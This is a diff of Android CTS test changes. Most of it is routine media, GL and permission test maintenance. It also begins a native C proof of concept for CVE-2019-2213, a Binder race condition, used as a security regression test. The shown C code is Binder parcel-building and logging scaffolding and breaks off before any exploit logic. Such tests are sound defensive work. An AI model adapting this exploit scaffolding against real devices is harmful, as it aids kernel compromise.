--- a/tests/tests/media/src/android/media/cts/MediaBrowserTest.java
+++ b/tests/tests/media/src/android/media/cts/MediaBrowserTest.java
@@ -29,6 +29,7 @@
 /**
  * Test {@link android.media.browse.MediaBrowser}.
  */
+@NonMediaMainlineTest
 public class MediaBrowserTest extends InstrumentationTestCase {
     // The maximum time to wait for an operation.
     private static final long TIME_OUT_MS = 3000L;
diff --git a/tests/tests/media/src/android/media/cts/MediaControllerTest.java b/tests/tests/media/src/android/media/cts/MediaControllerTest.java
index 363928a..d6beefe 100644
--- a/tests/tests/media/src/android/media/cts/MediaControllerTest.java
+++ b/tests/tests/media/src/android/media/cts/MediaControllerTest.java
@@ -39,6 +39,7 @@
 /**
  * Test {@link android.media.session.MediaController}.
  */
+@NonMediaMainlineTest
 public class MediaControllerTest extends AndroidTestCase {
     // The maximum time to wait for an operation.
     private static final long TIME_OUT_MS = 3000L;
diff --git a/tests/tests/media/src/android/media/cts/MediaItemTest.java b/tests/tests/media/src/android/media/cts/MediaItemTest.java
index dc12b97..53217ca 100644
--- a/tests/tests/media/src/android/media/cts/MediaItemTest.java
+++ b/tests/tests/media/src/android/media/cts/MediaItemTest.java
@@ -23,6 +23,7 @@
 /**
  * Test {@link android.media.browse.MediaBrowser.MediaItem}.
  */
+@NonMediaMainlineTest
 public class MediaItemTest extends AndroidTestCase {
     private static final String DESCRIPTION = "test_description";
     private static final String MEDIA_ID = "test_media_id";
@@ -74,4 +75,4 @@
                 MediaDescription.CREATOR.createFromParcel(p).toString());
         p.recycle();
     }
-}
\ No newline at end of file
+}
diff --git a/tests/tests/media/src/android/media/cts/MediaMuxerTest.java b/tests/tests/media/src/android/media/cts/MediaMuxerTest.java
index d26587b..c873691 100644
--- a/tests/tests/media/src/android/media/cts/MediaMuxerTest.java
+++ b/tests/tests/media/src/android/media/cts/MediaMuxerTest.java
@@ -631,6 +631,12 @@
         // parsing String location and recover the location information in floats
         // Make sure the tolerance is very small - due to rounding errors.
 
+        // Trim the trailing slash, if any.
+        int lastIndex = location.lastIndexOf('/');
+        if (lastIndex != -1) {
+            location = location.substring(0, lastIndex);
+        }
+
         // Get the position of the -/+ sign in location String, which indicates
         // the beginning of the longitude.
         int minusIndex = location.lastIndexOf('-');
@@ -640,12 +646,8 @@
                 (minusIndex > 0 || plusIndex > 0));
         int index = Math.max(minusIndex, plusIndex);
 
-        float latitude = Float.parseFloat(location.substring(0, index - 1));
-        int lastIndex = location.lastIndexOf('/', index);
-        if (lastIndex == -1) {
-            lastIndex = location.length();
-        }
-        float longitude = Float.parseFloat(location.substring(index, lastIndex - 1));
+        float latitude = Float.parseFloat(location.substring(0, index));
+        float longitude = Float.parseFloat(location.substring(index));
         assertTrue("Incorrect latitude: " + latitude + " [" + location + "]",
                 Math.abs(latitude - LATITUDE) <= TOLERANCE);
         assertTrue("Incorrect longitude: " + longitude + " [" + location + "]",
diff --git a/tests/tests/media/src/android/media/cts/MediaRecorderTest.java b/tests/tests/media/src/android/media/cts/MediaRecorderTest.java
index 70d5c20..be33988 100644
--- a/tests/tests/media/src/android/media/cts/MediaRecorderTest.java
+++ b/tests/tests/media/src/android/media/cts/MediaRecorderTest.java
@@ -513,6 +513,12 @@
         // Make sure the tolerance is very small - due to rounding errors?.
         Log.v(TAG, "location: " + location);
 
+        // Trim the trailing slash, if any.
+        int lastIndex = location.lastIndexOf('/');
+        if (lastIndex != -1) {
+            location = location.substring(0, lastIndex);
+        }
+
         // Get the position of the -/+ sign in location String, which indicates
         // the beginning of the longtitude.
         int index = location.lastIndexOf('-');
@@ -521,12 +527,8 @@
         }
         assertTrue("+ or - is not found", index != -1);
         assertTrue("+ or - is only found at the beginning", index != 0);
-        float latitude = Float.parseFloat(location.substring(0, index - 1));
-        int lastIndex = location.lastIndexOf('/', index);
-        if (lastIndex == -1) {
-            lastIndex = location.length();
-        }
-        float longitude = Float.parseFloat(location.substring(index, lastIndex - 1));
+        float latitude = Float.parseFloat(location.substring(0, index));
+        float longitude = Float.parseFloat(location.substring(index));
         assertTrue("Incorrect latitude: " + latitude, Math.abs(latitude - LATITUDE) <= TOLERANCE);
         assertTrue("Incorrect longitude: " + longitude, Math.abs(longitude - LONGITUDE) <= TOLERANCE);
         retriever.release();
diff --git a/tests/tests/media/src/android/media/cts/MediaRouterTest.java b/tests/tests/media/src/android/media/cts/MediaRouterTest.java
index f05fcd7..3d51d57 100644
--- a/tests/tests/media/src/android/media/cts/MediaRouterTest.java
+++ b/tests/tests/media/src/android/media/cts/MediaRouterTest.java
@@ -39,6 +39,7 @@
 /**
  * Test {@link android.media.MediaRouter}.
  */
+@NonMediaMainlineTest
 @AppModeFull(reason = "TODO: evaluate and port to instant")
 public class MediaRouterTest extends InstrumentationTestCase {
 
diff --git a/tests/tests/media/src/android/media/cts/MediaScannerConnectionTest.java b/tests/tests/media/src/android/media/cts/MediaScannerConnectionTest.java
index 8ca7df7..6745fa4 100644
--- a/tests/tests/media/src/android/media/cts/MediaScannerConnectionTest.java
+++ b/tests/tests/media/src/android/media/cts/MediaScannerConnectionTest.java
@@ -30,6 +30,7 @@
 
 import java.io.File;
 
+@NonMediaMainlineTest
 @AppModeFull(reason = "TODO: evaluate and port to instant")
 public class MediaScannerConnectionTest extends AndroidTestCase {
 
diff --git a/tests/tests/media/src/android/media/cts/MediaScannerNotificationTest.java b/tests/tests/media/src/android/media/cts/MediaScannerNotificationTest.java
index 3eb1ab4..77f3d58 100644
--- a/tests/tests/media/src/android/media/cts/MediaScannerNotificationTest.java
+++ b/tests/tests/media/src/android/media/cts/MediaScannerNotificationTest.java
@@ -26,6 +26,7 @@
 import java.io.FileOutputStream;
 import java.io.IOException;
 
+@NonMediaMainlineTest
 @AppModeFull(reason = "TODO: evaluate and port to instant")
 public class MediaScannerNotificationTest extends AndroidTestCase {
 
diff --git a/tests/tests/media/src/android/media/cts/MediaScannerTest.java b/tests/tests/media/src/android/media/cts/MediaScannerTest.java
index 1bd909d..4f27289 100644
--- a/tests/tests/media/src/android/media/cts/MediaScannerTest.java
+++ b/tests/tests/media/src/android/media/cts/MediaScannerTest.java
@@ -52,6 +52,7 @@
 import java.io.InputStreamReader;
 import java.nio.charset.StandardCharsets;
 
+@NonMediaMainlineTest
 @SmallTest
 @RequiresDevice
 @AppModeFull(reason = "TODO: evaluate and port to instant")
diff --git a/tests/tests/media/src/android/media/cts/MediaSessionTest.java b/tests/tests/media/src/android/media/cts/MediaSessionTest.java
index 23ae366..39f5471 100644
--- a/tests/tests/media/src/android/media/cts/MediaSessionTest.java
+++ b/tests/tests/media/src/android/media/cts/MediaSessionTest.java
@@ -51,6 +51,7 @@
 import java.util.concurrent.CountDownLatch;
 import java.util.concurrent.TimeUnit;
 
+@NonMediaMainlineTest
 @AppModeFull(reason = "TODO: evaluate and port to instant")
 public class MediaSessionTest extends AndroidTestCase {
     // The maximum time to wait for an operation that is expected to succeed.
diff --git a/tests/tests/media/src/android/media/cts/MediaSyncTest.java b/tests/tests/media/src/android/media/cts/MediaSyncTest.java
index f5686b1..fae846e 100644
--- a/tests/tests/media/src/android/media/cts/MediaSyncTest.java
+++ b/tests/tests/media/src/android/media/cts/MediaSyncTest.java
@@ -56,6 +56,7 @@
  * Blender Foundation / www.bigbuckbunny.org, and are licensed under the Creative Commons
  * Attribution 3.0 License at http://creativecommons.org/licenses/by/3.0/us/.
  */
+@NonMediaMainlineTest
 @SmallTest
 @RequiresDevice
 @AppModeFull(reason = "TODO: evaluate and port to instant")
diff --git a/tests/tests/media/src/android/media/cts/MediaTimestampTest.java b/tests/tests/media/src/android/media/cts/MediaTimestampTest.java
index de91124..78fd137 100644
--- a/tests/tests/media/src/android/media/cts/MediaTimestampTest.java
+++ b/tests/tests/media/src/android/media/cts/MediaTimestampTest.java
@@ -22,6 +22,7 @@
 /**
  * Tests for MediaTimestamp.
  */
+@NonMediaMainlineTest
 public class MediaTimestampTest extends AndroidTestCase {
     public void testMediaTimestamp() {
         MediaTimestamp timestamp = new MediaTimestamp(1000, 2000, 2.0f);
diff --git a/tests/tests/media/src/android/media/cts/NonMediaMainlineTest.java b/tests/tests/media/src/android/media/cts/NonMediaMainlineTest.java
new file mode 100644
index 0000000..44ee14f
--- /dev/null
+++ b/tests/tests/media/src/android/media/cts/NonMediaMainlineTest.java
@@ -0,0 +1,30 @@
+/*
+ * Copyright (C) 2019 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.media.cts;
+
+import java.lang.annotation.ElementType;
+import java.lang.annotation.Retention;
+import java.lang.annotation.RetentionPolicy;
+import java.lang.annotation.Target;
+
+/**
+ * Annotation for tests that are not related to media mainline.
+ */
+@Retention(RetentionPolicy.RUNTIME)
+@Target({ElementType.METHOD, ElementType.TYPE})
+public @interface NonMediaMainlineTest {
+}
diff --git a/tests/tests/media/src/android/media/cts/PresentationSyncTest.java b/tests/tests/media/src/android/media/cts/PresentationSyncTest.java
index 23b7173..b9a7d27 100644
--- a/tests/tests/media/src/android/media/cts/PresentationSyncTest.java
+++ b/tests/tests/media/src/android/media/cts/PresentationSyncTest.java
@@ -35,6 +35,7 @@
  * SurfaceFlinger allows a "desired presentation time" value to be passed along with buffers of
  * data.  This exercises that feature.
  */
+@NonMediaMainlineTest
 @AppModeFull(reason = "TODO: evaluate and port to instant")
 public class PresentationSyncTest extends ActivityInstrumentationTestCase2<MediaStubActivity>
         implements SurfaceHolder.Callback {
diff --git a/tests/tests/media/src/android/media/cts/PresetReverbTest.java b/tests/tests/media/src/android/media/cts/PresetReverbTest.java
index 9848015..c7cc37e 100644
--- a/tests/tests/media/src/android/media/cts/PresetReverbTest.java
+++ b/tests/tests/media/src/android/media/cts/PresetReverbTest.java
@@ -25,6 +25,7 @@
 import android.test.AndroidTestCase;
 import android.util.Log;
 
+@NonMediaMainlineTest
 @AppModeFull(reason = "TODO: evaluate and port to instant")
 public class PresetReverbTest extends PostProcTestBase {
 
@@ -395,4 +396,4 @@
             mReverb2 = null;
         }
     }
-}
\ No newline at end of file
+}
diff --git a/tests/tests/media/src/android/media/cts/RemoteControllerTest.java b/tests/tests/media/src/android/media/cts/RemoteControllerTest.java
index 802086a..a7d9f72 100644
--- a/tests/tests/media/src/android/media/cts/RemoteControllerTest.java
+++ b/tests/tests/media/src/android/media/cts/RemoteControllerTest.java
@@ -37,6 +37,7 @@
 /**
  * Tests for {@link RemoteController}.
  */
+@NonMediaMainlineTest
 @AppModeFull(reason = "TODO: evaluate and port to instant")
 public class RemoteControllerTest extends InstrumentationTestCase {
 
diff --git a/tests/tests/media/src/android/media/cts/SubtitleDataTest.java b/tests/tests/media/src/android/media/cts/SubtitleDataTest.java
index 7080436..9cd4144 100644
--- a/tests/tests/media/src/android/media/cts/SubtitleDataTest.java
+++ b/tests/tests/media/src/android/media/cts/SubtitleDataTest.java
@@ -24,6 +24,7 @@
 /**
  * Tests for SubtitleData.
  */
+@NonMediaMainlineTest
 public class SubtitleDataTest extends AndroidTestCase {
     private static final String SUBTITLE_RAW_DATA = "RAW_DATA";
 
diff --git a/tests/tests/media/src/android/media/cts/TimedMetaDataTest.java b/tests/tests/media/src/android/media/cts/TimedMetaDataTest.java
index a530999..1e4d035 100644
--- a/tests/tests/media/src/android/media/cts/TimedMetaDataTest.java
+++ b/tests/tests/media/src/android/media/cts/TimedMetaDataTest.java
@@ -24,6 +24,7 @@
 /**
  * Tests for TimedMetaData.
  */
+@NonMediaMainlineTest
 public class TimedMetaDataTest extends AndroidTestCase {
     private static final String RAW_METADATA = "RAW_METADATA";
 
diff --git a/tests/tests/media/src/android/media/cts/ToneGeneratorTest.java b/tests/tests/media/src/android/media/cts/ToneGeneratorTest.java
index 91ff2f8..4305d84 100644
--- a/tests/tests/media/src/android/media/cts/ToneGeneratorTest.java
+++ b/tests/tests/media/src/android/media/cts/ToneGeneratorTest.java
@@ -21,6 +21,7 @@
 import android.platform.test.annotations.AppModeFull;
 import android.test.AndroidTestCase;
 
+@NonMediaMainlineTest
 @AppModeFull(reason = "TODO: evaluate and port to instant")
 public class ToneGeneratorTest extends AndroidTestCase {
 
diff --git a/tests/tests/media/src/android/media/cts/VirtualizerTest.java b/tests/tests/media/src/android/media/cts/VirtualizerTest.java
index 52b7e7a..175f358 100644
--- a/tests/tests/media/src/android/media/cts/VirtualizerTest.java
+++ b/tests/tests/media/src/android/media/cts/VirtualizerTest.java
@@ -29,6 +29,7 @@
 
 import java.util.Arrays;
 
+@NonMediaMainlineTest
 @AppModeFull(reason = "TODO: evaluate and port to instant")
 public class VirtualizerTest extends PostProcTestBase {
 
diff --git a/tests/tests/nativehardware/jni/AHardwareBufferGLTest.cpp b/tests/tests/nativehardware/jni/AHardwareBufferGLTest.cpp
index 91949db..7c48cd3 100644
--- a/tests/tests/nativehardware/jni/AHardwareBufferGLTest.cpp
+++ b/tests/tests/nativehardware/jni/AHardwareBufferGLTest.cpp
@@ -1636,6 +1636,8 @@
                 glRenderbufferStorage(GL_RENDERBUFFER, default_formats[i], width, height);
                 glFramebufferRenderbuffer(GL_FRAMEBUFFER, attachment_points[i],
                                           GL_RENDERBUFFER, renderbuffer);
+                glClearColor(0.0f, 0.0f, 0.0f, 0.0f);
+                glClear(GL_COLOR_BUFFER_BIT | GL_DEPTH_BUFFER_BIT | GL_STENCIL_BUFFER_BIT);
                 break;
             }
             default: FAIL() << "Unrecognized binding type";
diff --git a/tests/tests/opengl/src/android/opengl/cts/EglConfigTest.java b/tests/tests/opengl/src/android/opengl/cts/EglConfigTest.java
index 3e5565e..49c086d 100644
--- a/tests/tests/opengl/src/android/opengl/cts/EglConfigTest.java
+++ b/tests/tests/opengl/src/android/opengl/cts/EglConfigTest.java
@@ -25,6 +25,7 @@
 import androidx.test.filters.LargeTest;
 import androidx.test.rule.ActivityTestRule;
 import androidx.test.runner.AndroidJUnit4;
+import android.support.test.uiautomator.UiDevice;
 
 import org.junit.Before;
 import org.junit.Rule;
@@ -77,6 +78,7 @@
             activity.waitToFinishDrawing();
             // TODO(b/30948621): Remove the sleep below once b/30948621 is fixed.
             Thread.sleep(500);
+            UiDevice.getInstance(mInstrumentation).pressHome();
             activity.finish();
             mInstrumentation.waitForIdleSync();
         }
diff --git a/tests/tests/permission/src/android/permission/cts/SplitPermissionsSystemTest.java b/tests/tests/permission/src/android/permission/cts/SplitPermissionsSystemTest.java
index 4670928..c15b7a4 100755
--- a/tests/tests/permission/src/android/permission/cts/SplitPermissionsSystemTest.java
+++ b/tests/tests/permission/src/android/permission/cts/SplitPermissionsSystemTest.java
@@ -19,6 +19,7 @@
 import static android.Manifest.permission.ACCESS_BACKGROUND_LOCATION;
 import static android.Manifest.permission.ACCESS_COARSE_LOCATION;
 import static android.Manifest.permission.ACCESS_FINE_LOCATION;
+import static android.Manifest.permission.ACCESS_MEDIA_LOCATION;
 import static android.Manifest.permission.READ_CALL_LOG;
 import static android.Manifest.permission.READ_CONTACTS;
 import static android.Manifest.permission.READ_EXTERNAL_STORAGE;
@@ -104,6 +105,13 @@
                 case ACCESS_COARSE_LOCATION:
                     assertSplit(split, ACCESS_BACKGROUND_LOCATION, Build.VERSION_CODES.Q);
                     break;
+                case READ_EXTERNAL_STORAGE:
+                    assertSplit(split, ACCESS_MEDIA_LOCATION, Build.VERSION_CODES.Q);
+                    // Remove this split permission from seenSplits, ACCESS_MEDIA_LOCATION is not
+                    // always available hence removing this permission from seenSplits will
+                    // avoid seenSplits size check fail.
+                    seenSplits.remove(split);
+                    break;
             }
         }
 
diff --git a/tests/tests/provider/src/android/provider/cts/MediaStore_Images_MediaTest.java b/tests/tests/provider/src/android/provider/cts/MediaStore_Images_MediaTest.java
index ec78a94..799e3ac 100644
--- a/tests/tests/provider/src/android/provider/cts/MediaStore_Images_MediaTest.java
+++ b/tests/tests/provider/src/android/provider/cts/MediaStore_Images_MediaTest.java
@@ -25,15 +25,18 @@
 import static org.junit.Assert.assertTrue;
 import static org.junit.Assert.fail;
 
+import android.app.AppOpsManager;
 import android.content.ContentResolver;
 import android.content.ContentValues;
 import android.content.Context;
+import android.content.pm.PackageManager;
 import android.database.Cursor;
 import android.graphics.Bitmap;
 import android.graphics.BitmapFactory;
 import android.media.ExifInterface;
 import android.net.Uri;
 import android.os.ParcelFileDescriptor;
+import android.os.Process;
 import android.os.storage.StorageManager;
 import android.platform.test.annotations.Presubmit;
 import android.provider.MediaStore;
@@ -338,6 +341,26 @@
         try (ParcelFileDescriptor pfd = mContentResolver.openFileDescriptor(originalUri, "r")) {
         }
 
+        // Remove ACCESS_MEDIA_LOCATION permission
+        try {
+            InstrumentationRegistry.getInstrumentation().getUiAutomation().
+                    adoptShellPermissionIdentity("android.permission.MANAGE_APP_OPS_MODES");
+
+            // Revoking ACCESS_MEDIA_LOCATION permission will kill the test app.
+            // Deny access_media_permission App op to revoke this permission.
+            if (mContext.getPackageManager().checkPermission(
+                    android.Manifest.permission.ACCESS_MEDIA_LOCATION, mContext.getPackageName())
+                    == PackageManager.PERMISSION_GRANTED) {
+
+                mContext.getSystemService(AppOpsManager.class).setUidMode(
+                        "android:access_media_location", Process.myUid(),
+                        AppOpsManager.MODE_IGNORED);
+            }
+        } finally {
+            InstrumentationRegistry.getInstrumentation().getUiAutomation().
+                    dropShellPermissionIdentity();
+        }
+
         // Now remove ownership, which means that Exif/XMP location data should be redacted
         ProviderTestUtils.executeShellCommand("content update"
                 + " --user " + InstrumentationRegistry.getTargetContext().getUserId()
diff --git a/tests/tests/provider/src/android/provider/cts/MediaStore_Video_MediaTest.java b/tests/tests/provider/src/android/provider/cts/MediaStore_Video_MediaTest.java
index 6a7a1f9..92ce7e0 100644
--- a/tests/tests/provider/src/android/provider/cts/MediaStore_Video_MediaTest.java
+++ b/tests/tests/provider/src/android/provider/cts/MediaStore_Video_MediaTest.java
@@ -27,14 +27,17 @@
 import static org.junit.Assert.assertTrue;
 import static org.junit.Assert.fail;
 
+import android.app.AppOpsManager;
 import android.content.ContentResolver;
 import android.content.ContentValues;
 import android.content.Context;
+import android.content.pm.PackageManager;
 import android.database.Cursor;
 import android.media.MediaExtractor;
 import android.media.MediaMetadataRetriever;
 import android.net.Uri;
 import android.os.ParcelFileDescriptor;
+import android.os.Process;
 import android.os.storage.StorageManager;
 import android.platform.test.annotations.Presubmit;
 import android.provider.MediaStore;
@@ -249,6 +252,26 @@
         try (ParcelFileDescriptor pfd = mContentResolver.openFileDescriptor(originalUri, "r")) {
         }
 
+        // Remove ACCESS_MEDIA_LOCATION permission
+        try {
+            InstrumentationRegistry.getInstrumentation().getUiAutomation().
+                    adoptShellPermissionIdentity("android.permission.MANAGE_APP_OPS_MODES");
+
+            // Revoking ACCESS_MEDIA_LOCATION permission will kill the test app.
+            // Deny access_media_permission App op to revoke this permission.
+            if (mContext.getPackageManager().checkPermission(
+                    android.Manifest.permission.ACCESS_MEDIA_LOCATION, mContext.getPackageName())
+                    == PackageManager.PERMISSION_GRANTED) {
+
+                mContext.getSystemService(AppOpsManager.class).setUidMode(
+                        "android:access_media_location", Process.myUid(),
+                        AppOpsManager.MODE_IGNORED);
+            }
+        } finally {
+                InstrumentationRegistry.getInstrumentation().getUiAutomation().
+                        dropShellPermissionIdentity();
+        }
+
         // Now remove ownership, which means that location should be redacted
         ProviderTestUtils.executeShellCommand("content update"
                 + " --user " + InstrumentationRegistry.getTargetContext().getUserId()
diff --git a/tests/tests/security/Android.bp b/tests/tests/security/Android.bp
index b41f33d..5afe33c 100644
--- a/tests/tests/security/Android.bp
+++ b/tests/tests/security/Android.bp
@@ -43,6 +43,7 @@
         "libc++",
         "libpcre2",
         "libpackagelistparser",
+        "libcve_2019_2213_jni",
     ],
     srcs: [
         "src/**/*.java",
diff --git a/tests/tests/security/AndroidManifest.xml b/tests/tests/security/AndroidManifest.xml
index 54df055..6eaaaa5 100644
--- a/tests/tests/security/AndroidManifest.xml
+++ b/tests/tests/security/AndroidManifest.xml
@@ -51,6 +51,36 @@
         </activity>
 
         <activity
+            android:name="android.security.cts.BinderExploitTest$CVE_2019_2213_Activity"
+            android:label="Test Binder Exploit Race Condition activity">
+            <intent-filter>
+                <action android:name="android.intent.action.MAIN" />
+                <category android:name="android.intent.category.LAUNCHER" />
+            </intent-filter>
+        </activity>
+
+        <activity
+            android:name="android.security.cts.NanoAppBundleTest$FailActivity"
+            android:label="Test Nano AppBundle customized failure catch activity">
+            <intent-filter>
+                <action android:name="android.intent.action.RUN" />
+                <category android:name="android.intent.category.DEFAULT" />
+            </intent-filter>
+        </activity>
+
+        <service
+            android:name="android.security.cts.NanoAppBundleTest$AuthenticatorService"
+            android:enabled="true"
+            android:exported="true">
+            <intent-filter>
+                <action android:name="android.accounts.AccountAuthenticator" />
+            </intent-filter>
+            <meta-data
+                android:name="android.accounts.AccountAuthenticator"
+                android:resource="@xml/authenticator" />
+        </service>
+
+        <activity
             android:name="android.security.cts.SkiaJpegDecodingActivity"
             android:label="Test overflow in libskia JPG processing">
             <intent-filter>
diff --git a/tests/tests/security/aidl/android/security/cts/IBinderExchange.aidl b/tests/tests/security/aidl/android/security/cts/IBinderExchange.aidl
new file mode 100644
index 0000000..1b6d7d9
--- /dev/null
+++ b/tests/tests/security/aidl/android/security/cts/IBinderExchange.aidl
@@ -0,0 +1,24 @@
+/*
+ * Copyright 2019 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.security.cts;
+
+import android.os.IBinder;
+
+interface IBinderExchange {
+    void putBinder(in IBinder bnd);
+    IBinder getBinder();
+}
diff --git a/tests/tests/security/jni/Android.bp b/tests/tests/security/jni/Android.bp
index 27f6289..b667f18 100644
--- a/tests/tests/security/jni/Android.bp
+++ b/tests/tests/security/jni/Android.bp
@@ -31,3 +31,25 @@
         "libcutils",
     ],
 }
+
+cc_library {
+    name: "libcve_2019_2213_jni",
+    srcs: [
+        "android_security_cts_cve_2019_2213_Test.c",
+    ],
+    shared_libs: [
+        "libnativehelper_compat_libc++",
+    ],
+    static_libs: [
+        "cpufeatures",
+        "libcutils",
+    ],
+    cflags: [
+        "-Werror",
+        "-Wpointer-arith",
+        "-Wno-unused-parameter",
+        "-Wno-sign-compare",
+        "-Wno-unused-label",
+        "-Wno-unused-variable",
+    ],
+}
diff --git a/tests/tests/security/jni/android_security_cts_cve_2019_2213_Test.c b/tests/tests/security/jni/android_security_cts_cve_2019_2213_Test.c
new file mode 100644
index 0000000..90557a0
--- /dev/null
+++ b/tests/tests/security/jni/android_security_cts_cve_2019_2213_Test.c
@@ -0,0 +1,1911 @@
+/*
+ * Copyright (C) 2019 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+#define _GNU_SOURCE
+#include <sys/mman.h>
+#include <sys/types.h>
+#include <sys/stat.h>
+#include <sys/socket.h>
+#include <sys/un.h>
+#include <sys/prctl.h>
+
+#include <stdio.h>
+#include <stdlib.h>
+#include <string.h>
+#include <syscall.h>
+#include <pthread.h>
+#include <dirent.h>
+#include <unistd.h>
+#include <fcntl.h>
+#include <errno.h>
+#include <sched.h>
+#include <poll.h>
+#include <elf.h>
+
+#include <cutils/log.h>
+#include <cutils/properties.h>
+#include <jni.h>
+#include <linux/android/binder.h>
+#include <cpu-features.h>
+
+#include "../../../../hostsidetests/securitybulletin/securityPatch/includes/common.h"
+
+typedef uint8_t u8;
+typedef uint16_t u16;
+typedef uint32_t u32;
+typedef uint64_t u64;
+typedef int64_t s64;
+
+jobject this;
+jmethodID add_log;
+JavaVM *jvm;
+
+#define MAX_THREADS 10
+
+struct tid_jenv {
+    int tid;
+    JNIEnv *env;
+};
+struct tid_jenv tid_jenvs[MAX_THREADS];
+int num_threads;
+
+int gettid() {
+    return (int)syscall(SYS_gettid);
+}
+
+void fail(char *msg, ...);
+
+void add_jenv(JNIEnv *e) {
+    if (num_threads >= MAX_THREADS) {
+        fail("too many threads");
+        return;
+    }
+    struct tid_jenv *te = &tid_jenvs[num_threads++];
+    te->tid = gettid();
+    te->env = e;
+}
+
+JNIEnv *get_jenv() {
+    int tid = gettid();
+    for (int i = 0; i < num_threads; i++) {
+        struct tid_jenv *te = &tid_jenvs[i];
+        if (te->tid == tid)
+            return te->env;
+    }
+    return NULL;
+}
+
+void jni_attach_thread() {
+    JNIEnv *env;
+    (*jvm)->AttachCurrentThread(jvm, &env, NULL);
+    add_jenv(env);
+}
+
+pthread_mutex_t log_mut = PTHREAD_MUTEX_INITIALIZER;
+pthread_cond_t log_pending = PTHREAD_COND_INITIALIZER;
+pthread_cond_t log_done = PTHREAD_COND_INITIALIZER;
+volatile char *log_line;
+
+void send_log_thread(char *msg) {
+    pthread_mutex_lock(&log_mut);
+    while (log_line)
+        pthread_cond_wait(&log_done, &log_mut);
+    log_line = msg;
+    pthread_cond_signal(&log_pending);
+    pthread_mutex_unlock(&log_mut);
+}
+
+void dbg(char *msg, ...);
+
+void log_thread(u64 arg) {
+    while (1) {
+        pthread_mutex_lock(&log_mut);
+        while (!log_line)
+            pthread_cond_wait(&log_pending, &log_mut);
+        dbg("%s", log_line);
+        free((void*)log_line);
+        log_line = NULL;
+        pthread_cond_signal(&log_done);
+        pthread_mutex_unlock(&log_mut);
+    }
+}
+
+void dbg(char *msg, ...) {
+    char *line;
+    va_list va;
+    JNIEnv *env = get_jenv();
+    va_start(va, msg);
+    if (vasprintf(&line, msg, va) >= 0) {
+        if (env) {
+            jstring jline = (*env)->NewStringUTF(env, line);
+            (*env)->CallVoidMethod(env, this, add_log, jline);
+            free(line);
+        } else {
+            send_log_thread(line);
+        }
+    }
+    va_end(va);
+}
+
+void fail(char *msg, ...) {
+    char *line;
+    va_list va;
+    va_start(va, msg);
+    if (vasprintf(&line, msg, va) >= 0)
+        dbg("FAIL: %s (errno=%d)", line, errno);
+    va_end(va);
+}
+
+struct buffer {
+    char *p;
+    u32 size;
+    u32 off;
+};
+
+typedef struct buffer buf_t;
+
+struct parser {
+    u8 *buf;
+    u8 *p;
+    u32 size;
+};
+
+typedef struct parser parser_t;
+
+parser_t *new_parser() {
+    parser_t *ret = malloc(sizeof(parser_t));
+    ret->size = 0x400;
+    ret->buf = ret->p = malloc(ret->size);
+    return ret;
+}
+
+void free_parser(parser_t *parser) {
+    free(parser->buf);
+    free(parser);
+}
+
+int parser_end(parser_t *p) {
+    return !p->size;
+}
+
+void *parser_get(parser_t *p, u32 sz) {
+    if (sz > p->size) {
+        fail("parser size exceeded");
+        return NULL;
+    }
+    p->size -= sz;
+    u8 *ret = p->p;
+    p->p += sz;
+    return ret;
+}
+
+u32 parse_u32(parser_t *p) {
+    u32 *pu32 = parser_get(p, sizeof(u32));
+    return (pu32 == NULL) ? (u32)-1 : *pu32;
+}
+
+buf_t *new_buf_sz(u32 sz) {
+    buf_t *b = malloc(sizeof(buf_t));
+    b->size = sz;
+    b->off = 0;
+    b->p = malloc(sz);
+    return b;
+}
+
+buf_t *new_buf() {
+    return new_buf_sz(0x200);
+}
+
+void free_buf(buf_t *buf) {
+    free(buf->p);
+    free(buf);
+}
+
+void *buf_alloc(buf_t *b, u32 s) {
+    s = (s + 3) & ~3;
+    if (b->size - b->off < s)
+        fail("out of buf space");
+    char *ret = b->p + b->off;
+    b->off += s;
+    memset(ret, 0x00, s);
+    return ret;
+}
+
+void buf_u32(buf_t *b, u32 v) {
+    char *p = buf_alloc(b, sizeof(u32));
+    *(u32*)p = v;
+}
+
+void buf_u64(buf_t *b, u64 v) {
+    char *p = buf_alloc(b, sizeof(u64));
+    *(u64*)p = v;
+}
+
+void buf_uintptr(buf_t *b, u64 v) {
+    char *p = buf_alloc(b, sizeof(u64));
+    *(u64*)p = v;
+}
+
+void buf_str16(buf_t *b, const char *s) {
+    if (!s) {
+        buf_u32(b, 0xffffffff);
+        return;
+    }
+    u32 len = strlen(s);
+    buf_u32(b, len);
+    u16 *dst = (u16*)buf_alloc(b, (len + 1) * 2);
+    for (u32 i = 0; i < len; i++)
+        dst[i] = s[i];
+    dst[len] = 0;
+}
+
+void buf_binder(buf_t *b, buf_t *off, void *ptr) {
+    buf_u64(off, b->off);
+    struct flat_binder_object *fp = buf_alloc(b, sizeof(*fp));
+    fp->hdr.type = BINDER_TYPE_BINDER;
+    fp->flags = FLAT_BINDER_FLAG_ACCEPTS_FDS;
+    fp->binder = (u64)ptr;
+    fp->cookie = 0;
+}
+
+static inline void binder_write(int fd, buf_t *buf);
+
+void enter_looper(int fd) {
+    buf_t *buf = new_buf();
+    buf_u32(buf, BC_ENTER_LOOPER);
+    binder_write(fd, buf);
+}
+
+void init_binder(int fd) {
